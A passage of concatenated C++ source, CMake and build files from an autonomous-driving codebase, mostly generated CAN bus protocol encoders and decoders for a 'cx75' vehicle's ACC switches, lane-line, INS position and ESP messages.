int32_t length) const; // config detail: {'name': 'SWM_ACCvSetPlus', 'enum': {0: 'SWM_ACCVSETPLUS_NO_PRESS', 1: 'SWM_ACCVSETPLUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accvsetplusType swm_accvsetplus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ShiftPadFlt', 'enum': {0: 'SWM_SHIFTPADFLT_NO_FAULT', 1: 'SWM_SHIFTPADFLT_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_shiftpadfltType swm_shiftpadflt(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCDeactivate', 'enum': {0: 'SWM_ACCDEACTIVATE_NO_PRESS', 1: 'SWM_ACCDEACTIVATE_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accdeactivateType swm_accdeactivate(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCResume', 'enum': {0: 'SWM_ACCRESUME_NO_PRESS', 1: 'SWM_ACCRESUME_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accresumeType swm_accresume(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCSet', 'enum': {0: 'SWM_ACCSET_NO_PRESS', 1: 'SWM_ACCSET_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accsetType swm_accset(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x31B', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x31b(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCEnableSwitch', 'enum': {0: 'SWM_ACCENABLESWITCH_PREVENT_ACC_CONTROL', 1: 'SWM_ACCENABLESWITCH_ENABLE_ACC_CONTROL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accenableswitchType swm_accenableswitch(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x31B', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x31b(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCResume_Qt', 'enum': {0: 'SWM_ACCRESUME_QT_VALID', 1: 'SWM_ACCRESUME_QT_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accresume_qtType swm_accresume_qt(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_TJASwitch', 'enum': {0: 'SWM_TJASWITCH_PREVENT_TJA_CONTROL', 1: 'SWM_TJASWITCH_ENABLE_TJA_CONTROL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_tjaswitchType swm_tjaswitch(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ShiftPadReqDown', 'enum': {0: 'SWM_SHIFTPADREQDOWN_NO_PRESS', 1: 'SWM_SHIFTPADREQDOWN_PRESS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_shiftpadreqdownType swm_shiftpadreqdown(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_SWM_MRR_0X31B_31B_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(time timer.cc jmcauto_time.h time_util.h timer.h) target_link_libraries(time jmcauto_log macro config_gflags)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_IPM_LEFTLINE_0X278_278_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_IPM_LEFTLINE_0X278_278_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Ipmleftline0x278278 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Ipmleftline0x278278(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'IPM_LeftLine_dy', 'enum': {0: 'IPM_LEFTLINE_DY_INITIAL_VALUE_NO_LINE'}, 'precision': 0.00390625, 'len': 12, 'is_signed_var': False, 'offset': -8.0, 'physical_range': '[-8|7.99609375]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'm'} Ipmleftline0x278278* set_ipm_leftline_dy(double ipm_leftline_dy); // config detail: {'name': 'IPM_LeftLine_dx_lookhead', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|127.75]', 'bit': 19, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} Ipmleftline0x278278* set_ipm_leftline_dx_lookhead(double ipm_leftline_dx_lookhead); // config detail: {'name': 'IPM_LeftLine_hor_curve', 'enum': {0: 'IPM_LEFTLINE_HOR_CURVE_INITIAL_VALUE_NO_CURVATURE'}, 'precision': 0.0001, 'len': 10, 'is_signed_var': False, 'offset': -0.015, 'physical_range': '[-0.015|0.0513]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ipmleftline0x278278* set_ipm_leftline_hor_curve(double ipm_leftline_hor_curve); // config detail: {'name': 'IPM_LeftLine_yawangle', 'offset': -1.0, 'precision': 0.000488281, 'len': 12, 'is_signed_var': False, 'physical_range': '[-1|0.999510695]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} Ipmleftline0x278278* set_ipm_leftline_yawangle(double ipm_leftline_yawangle); // config detail: {'name': 'IPM_LedtLine_dx_start', 'offset': 0.0, 'precision': 0.25, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|63.75]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} Ipmleftline0x278278* set_ipm_ledtline_dx_start(double ipm_ledtline_dx_start); private: // config detail: {'name': 'IPM_LeftLine_dy', 'enum': {0: 'IPM_LEFTLINE_DY_INITIAL_VALUE_NO_LINE'}, 'precision': 0.00390625, 'len': 12, 'is_signed_var': False, 'offset': -8.0, 'physical_range': '[-8|7.99609375]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'm'} void set_p_ipm_leftline_dy(uint8_t* data, double ipm_leftline_dy); // config detail: {'name': 'IPM_LeftLine_dx_lookhead', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|127.75]', 'bit': 19, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void set_p_ipm_leftline_dx_lookhead(uint8_t* data, double ipm_leftline_dx_lookhead); // config detail: {'name': 'IPM_LeftLine_hor_curve', 'enum': {0: 'IPM_LEFTLINE_HOR_CURVE_INITIAL_VALUE_NO_CURVATURE'}, 'precision': 0.0001, 'len': 10, 'is_signed_var': False, 'offset': -0.015, 'physical_range': '[-0.015|0.0513]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_ipm_leftline_hor_curve(uint8_t* data, double ipm_leftline_hor_curve); // config detail: {'name': 'IPM_LeftLine_yawangle', 'offset': -1.0, 'precision': 0.000488281, 'len': 12, 'is_signed_var': False, 'physical_range': '[-1|0.999510695]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} void set_p_ipm_leftline_yawangle(uint8_t* data, double ipm_leftline_yawangle); // config detail: {'name': 'IPM_LedtLine_dx_start', 'offset': 0.0, 'precision': 0.25, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|63.75]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void set_p_ipm_ledtline_dx_start(uint8_t* data, double ipm_ledtline_dx_start); private: double ipm_leftline_dy_; double ipm_leftline_dx_lookhead_; double ipm_leftline_hor_curve_; double ipm_leftline_yawangle_; double ipm_ledtline_dx_start_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_IPM_LEFTLINE_0X278_278_H_ <file_sep>##################################################### # File Name: build.sh # Author: Leo # mail: <EMAIL> # Created Time: 2021年02月09日 星期二 14时32分57秒 ##################################################### #!/bin/bash cmake -G "Unix Makefiles" -DCMAKE_BUILD_TYPE:STRING=Debug -DCMAKE_SYSTEM_NAME=Linux -DCMAKE_EXPORT_COMPILE_COMMANDS:BOOL=ON -DCMAKE_SYSROOT=/usr/ubuntu_crossbuild_devkit/mdc_crossbuild_sysroot -DTOOL_CHAIN_SYSROOT=/usr/ubuntu_crossbuild_devkit/mdc_crossbuild_sysroot -DCMAKE_C_COMPILER:FILEPATH=/usr/bin/aarch64-linux-gnu-gcc -DCMAKE_CXX_COMPILER:FILEPATH=/usr/bin/aarch64-linux-gnu-g++ -DCMAKE_MAKE_PROGRAM:FILEPATH=/usr/bin/make /home/leo/eclipse-workspace/JMCMAuto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_float_h #define impl_type_float_h #include "base_type_std_float.h" typedef std_float Float; #endif // impl_type_float_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/ipm_rightline_0x490_490.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Ipmrightline0x490490::ID = 0x490; // public Ipmrightline0x490490::Ipmrightline0x490490() { Reset(); } uint32_t Ipmrightline0x490490::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Ipmrightline0x490490::UpdateData(uint8_t* data) { set_p_ipm_rightline_dy(data, ipm_rightline_dy_); set_p_ipm_rightline_dx_lookhead(data, ipm_rightline_dx_lookhead_); set_p_ipm_rightline_hor_curve(data, ipm_rightline_hor_curve_); set_p_ipm_rightline_yawangle(data, ipm_rightline_yawangle_); set_p_ipm_rightline_dx_start(data, ipm_rightline_dx_start_); } void Ipmrightline0x490490::Reset() { // TODO you should check this manually ipm_rightline_dy_ = 0.0; ipm_rightline_dx_lookhead_ = 0.0; ipm_rightline_hor_curve_ = 0.0; ipm_rightline_yawangle_ = 0.0; ipm_rightline_dx_start_ = 0.0; } Ipmrightline0x490490* Ipmrightline0x490490::set_ipm_rightline_dy( double ipm_rightline_dy) { ipm_rightline_dy_ = ipm_rightline_dy; return this; } // config detail: {'name': 'IPM_RightLine_dy', 'enum': {0: 'IPM_RIGHTLINE_DY_INITIAL_VALUE_NO_LINE'}, 'precision': 0.00390625, 'len': 12, 'is_signed_var': False, 'offset': -8.0, 'physical_range': '[-8|7.99609375]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'm'} void Ipmrightline0x490490::set_p_ipm_rightline_dy(uint8_t* data, double ipm_rightline_dy) { int x = (ipm_rightline_dy - -8.000000) / 0.003906; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 2); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 1); to_set1.set_value(t, 0, 8); } Ipmrightline0x490490* Ipmrightline0x490490::set_ipm_rightline_dx_lookhead( double ipm_rightline_dx_lookhead) { ipm_rightline_dx_lookhead_ = ipm_rightline_dx_lookhead; return this; } // config detail: {'name': 'IPM_RightLine_dx_lookhead', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|127.75]', 'bit': 19, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void Ipmrightline0x490490::set_p_ipm_rightline_dx_lookhead(uint8_t* data, double ipm_rightline_dx_lookhead) { ipm_rightline_dx_lookhead = ProtocolData::BoundedValue(0.0, 127.75, ipm_rightline_dx_lookhead); int x = ipm_rightline_dx_lookhead / 0.250000; uint8_t t = 0; t = x & 0x1F; Byte to_set0(data + 3); to_set0.set_value(t, 3, 5); x >>= 5; t = x & 0xF; Byte to_set1(data + 2); to_set1.set_value(t, 0, 4); } Ipmrightline0x490490* Ipmrightline0x490490::set_ipm_rightline_hor_curve( double ipm_rightline_hor_curve) { ipm_rightline_hor_curve_ = ipm_rightline_hor_curve; return this; } // config detail: {'name': 'IPM_RightLine_hor_curve', 'enum': {0: 'IPM_RIGHTLINE_HOR_CURVE_INITIAL_VALUE_NO_CURVATURE'}, 'precision': 0.0001, 'len': 10, 'is_signed_var': False, 'offset': -0.015, 'physical_range': '[-0.015|0.0513]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Ipmrightline0x490490::set_p_ipm_rightline_hor_curve(uint8_t* data, double ipm_rightline_hor_curve) { int x = (ipm_rightline_hor_curve - -0.015000) / 0.000100; uint8_t t = 0; t = x & 0x7F; Byte to_set0(data + 4); to_set0.set_value(t, 1, 7); x >>= 7; t = x & 0x7; Byte to_set1(data + 3); to_set1.set_value(t, 0, 3); } Ipmrightline0x490490* Ipmrightline0x490490::set_ipm_rightline_yawangle( double ipm_rightline_yawangle) { ipm_rightline_yawangle_ = ipm_rightline_yawangle; return this; } // config detail: {'name': 'IPM_RightLine_yawangle', 'offset': -1.0, 'precision': 0.000488281, 'len': 12, 'is_signed_var': False, 'physical_range': '[-1|0.999510695]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} void Ipmrightline0x490490::set_p_ipm_rightline_yawangle(uint8_t* data, double ipm_rightline_yawangle) { ipm_rightline_yawangle = ProtocolData::BoundedValue(-1.0, 0.999510695, ipm_rightline_yawangle); int x = (ipm_rightline_yawangle - -1.000000) / 0.000488; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 6); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 5); to_set1.set_value(t, 0, 8); } Ipmrightline0x490490* Ipmrightline0x490490::set_ipm_rightline_dx_start( double ipm_rightline_dx_start) { ipm_rightline_dx_start_ = ipm_rightline_dx_start; return this; } // config detail: {'name': 'IPM_RightLine_dx_start', 'offset': 0.0, 'precision': 0.25, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|63.75]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void Ipmrightline0x490490::set_p_ipm_rightline_dx_start(uint8_t* data, double ipm_rightline_dx_start) { ipm_rightline_dx_start = ProtocolData::BoundedValue(0.0, 63.75, ipm_rightline_dx_start); int x = ipm_rightline_dx_start / 0.250000; Byte to_set(data + 0); to_set.set_value(x, 0, 8); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/ins_latitudelongitude_504.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Inslatitudelongitude504::Inslatitudelongitude504() {} const int32_t Inslatitudelongitude504::ID = 0x504; void Inslatitudelongitude504::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_ins_latitudelongitude_504()->set_ins__latitude(ins__latitude(bytes, length)); chassis->mutable_cx75()->mutable_ins_latitudelongitude_504()->set_ins_longitude(ins_longitude(bytes, length)); } // config detail: {'name': 'ins__latitude', 'offset': -180.0, 'precision': 1e-07, 'len': 32, 'is_signed_var': True, 'physical_range': '[-180|180]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'deg'} double Inslatitudelongitude504::ins__latitude(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); uint32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; Byte t2(bytes + 2); t = t2.get_byte(0, 8); x <<= 8; x |= t; Byte t3(bytes + 3); t = t3.get_byte(0, 8); x <<= 8; x |= t; //x <<= 0; //x >>= 0; double ret = x * 0.0000001 + -180.000000; return ret; } // config detail: {'name': 'ins_longitude', 'offset': -180.0, 'precision': 1e-07, 'len': 32, 'is_signed_var': True, 'physical_range': '[-180|180]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': 'deg'} double Inslatitudelongitude504::ins_longitude(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); uint32_t x = t0.get_byte(0, 8); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; Byte t2(bytes + 6); t = t2.get_byte(0, 8); x <<= 8; x |= t; Byte t3(bytes + 7); t = t3.get_byte(0, 8); x <<= 8; x |= t; //x <<= 0; //x >>= 0; AINFO<<"ins_longitude X:"<<x; double ret = x * 0.0000001 + -180.000000; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(proto) add_library(config_gflags config_gflags.cc config_gflags.h) target_link_libraries(config_gflags gflags) add_library(vehicle_config_helper vehicle_config_helper.cc vehicle_config_helper.h) target_link_libraries(vehicle_config_helper config_gflags common vehicle_config_proto util pnc_point_proto math glog)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(strategy INTERFACE) target_link_libraries(strategy INTERFACE routing_a_star_strategy) add_library(routing_a_star_strategy a_star_strategy.cc a_star_strategy.h strategy.h) target_link_libraries(routing_a_star_strategy common common_proto map_proto routing_gflags graph routing_proto) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef jmc_auto_chassisserviceinterface_skeleton_h #define jmc_auto_chassisserviceinterface_skeleton_h #include "ara/com/internal/skeleton/SkeletonAdapter.h" #include "ara/com/internal/skeleton/EventAdapter.h" #include "ara/com/internal/skeleton/FieldAdapter.h" #include "jmc_auto/chassisserviceinterface_common.h" #include "impl_type_chassis.h" #include <cstdint> namespace jmc_auto { namespace skeleton { namespace events { using ChassisEvent = ara::com::internal::skeleton::event::EventAdapter<::Chassis>; static constexpr ara::com::internal::EntityId ChassisEventId = 32374; //ChassisEvent_event_hash } namespace methods { } namespace fields { } class ChassisServiceInterfaceSkeleton : public ara::com::internal::skeleton::SkeletonAdapter { public: explicit ChassisServiceInterfaceSkeleton(ara::com::InstanceIdentifier instanceId, ara::com::MethodCallProcessingMode mode = ara::com::MethodCallProcessingMode::kEvent) :ara::com::internal::skeleton::SkeletonAdapter(::jmc_auto::ChassisServiceInterface::ServiceIdentifier, instanceId, mode), ChassisEvent(GetSkeleton(), events::ChassisEventId) { } ChassisServiceInterfaceSkeleton(const ChassisServiceInterfaceSkeleton&) = delete; ChassisServiceInterfaceSkeleton& operator=(const ChassisServiceInterfaceSkeleton&) = delete; ChassisServiceInterfaceSkeleton(ChassisServiceInterfaceSkeleton&& other) = default; ChassisServiceInterfaceSkeleton& operator=(ChassisServiceInterfaceSkeleton&& other) = default; virtual ~ChassisServiceInterfaceSkeleton() { ara::com::internal::skeleton::SkeletonAdapter::StopOfferService(); } void OfferService() { InitializeEvent(ChassisEvent); ara::com::internal::skeleton::SkeletonAdapter::OfferService(); } events::ChassisEvent ChassisEvent; }; } // namespace skeleton } // namespace jmc_auto #endif // jmc_auto_chassisserviceinterface_skeleton_h <file_sep>/****************************************************************************** * Copyright 2018 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_MAP_RELATIVE_MAP_RELATIVE_MAP_INTERFACE_H_ #define MODULES_MAP_RELATIVE_MAP_RELATIVE_MAP_INTERFACE_H_ #include "modules/map/relative_map/proto/navigation.pb.h" #include "modules/perception/proto/perception_obstacle.pb.h" #include "modules/common/adapters/adapter_manager.h" #include "modules/common/jmc_auto_app.h" /** * @namespace jmc_auto::relative_map * @brief jmc_auto::relative_map */ namespace jmc_auto { namespace relative_map { /** * @class RelativeMapInterface * * @brief Interface of the relative map module. * Relative map module is the module that can produce a relative map on the * fly based on observations of obstacles and round boundaries provided by * perception. */ class RelativeMapInterface : public jmc_auto::common::JmcAutoApp { public: /** * @brief main logic of the relative map module, triggered by timer. */ virtual void RunOnce() = 0; /** * @brief Fill the header and publish the prediction message. */ void Publish(MapMsg *relative_map) {//发布函数 jmc_auto::common::adapter::AdapterManager::FillRelativeMapHeader( Name(), relative_map); jmc_auto::common::adapter::AdapterManager::PublishRelativeMap(*relative_map); } }; } // namespace relative_map } // namespace jmc_auto #endif // MODULES_MAP_RELATIVE_MAP_RELATIVE_MAP_INTERFACE_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_uint32_t_h #define base_type_std_uint32_t_h typedef std::uint32_t std_uint32_t; #endif // base_type_std_uint32_t_h <file_sep>/****************************************************************************** * Copyright 2018 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/localization/localization_base.h" #include "modules/common/configs/config_gflags.h" #include "modules/common/log.h" #include "modules/localization/common/localization_gflags.h" #include "modules/common/math/euler_angles_zxy.h" #include "modules/common/math/quaternion.h" namespace jmc_auto { namespace localization { using ::Eigen::Vector3d; void LocalizationBase::PublishPoseBroadcastTF( const LocalizationEstimate &localization) { if (!tf2_broadcaster_) { AERROR << "tf broadcaster is not created."; return; } // broadcast tf message geometry_msgs::TransformStamped tf2_msg; tf2_msg.header.stamp = ros::Time(localization.measurement_time()); tf2_msg.header.frame_id = FLAGS_localization_tf2_frame_id; tf2_msg.child_frame_id = FLAGS_localization_tf2_child_frame_id; tf2_msg.transform.translation.x = localization.pose().position().x(); tf2_msg.transform.translation.y = localization.pose().position().y(); tf2_msg.transform.translation.z = localization.pose().position().z(); tf2_msg.transform.rotation.x = localization.pose().orientation().qx(); tf2_msg.transform.rotation.y = localization.pose().orientation().qy(); tf2_msg.transform.rotation.z = localization.pose().orientation().qz(); tf2_msg.transform.rotation.w = localization.pose().orientation().qw(); //AINFO << "localization tf2_msg transXYZ:" <<tf2_msg.transform.translation.x << " " <<tf2_msg.transform.translation.y //<< " " <<tf2_msg.transform.translation.z <<"\n"; //AINFO << "localization tf2_msg rotationXYZW:" << tf2_msg.transform.rotation.x << " " << tf2_msg.transform.rotation.y //<< " " << tf2_msg.transform.rotation.z <<" "<< tf2_msg.transform.rotation.w <<"\n"; //导远设备发送 frame_id: "world" child_frame_id: "novatel" geometry_msgs::TransformStamped tf1_msg; tf1_msg.header.stamp = ros::Time(localization.measurement_time()); tf1_msg.header.frame_id = "world"; tf1_msg.child_frame_id = "novatel"; Vector3d orig(-0.55,-0.15,-0.25); Vector3d vec = common::math::QuaternionRotate( localization.pose().orientation(), orig); tf1_msg.transform.translation.x = localization.pose().position().x()-vec[0]; tf1_msg.transform.translation.y = localization.pose().position().y()-vec[1]; tf1_msg.transform.translation.z = localization.pose().position().z()-vec[2]; tf1_msg.transform.rotation.x = localization.pose().orientation().qx(); tf1_msg.transform.rotation.y = localization.pose().orientation().qy(); tf1_msg.transform.rotation.z = localization.pose().orientation().qz(); tf1_msg.transform.rotation.w = localization.pose().orientation().qw(); //tf2_broadcaster_->sendTransform(tf1_msg); //tf2_broadcaster_->sendTransform(tf2_msg); } } // namespace localization } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_advanced_0x234_234.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Espadvanced0x234234::Espadvanced0x234234() {} const int32_t Espadvanced0x234234::ID = 0x234; void Espadvanced0x234234::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_vdcactive(esp_vdcactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_ebdactive(esp_ebdactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_ecdtempoff(esp_ecdtempoff(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_nobrakeforce(esp_nobrakeforce(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_brkfrictqtotatwhlvaild(esp_brkfrictqtotatwhlvaild(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_aebdecavailable(esp_aebdecavailable(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_aebdecactive(esp_aebdecactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_prefillavailable(esp_prefillavailable(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_prefillactive(esp_prefillactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_abaavailable(esp_abaavailable(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_abaactive(esp_abaactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_cddavailable(esp_cddavailable(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_dtcactive(esp_dtcactive(bytes, length)); 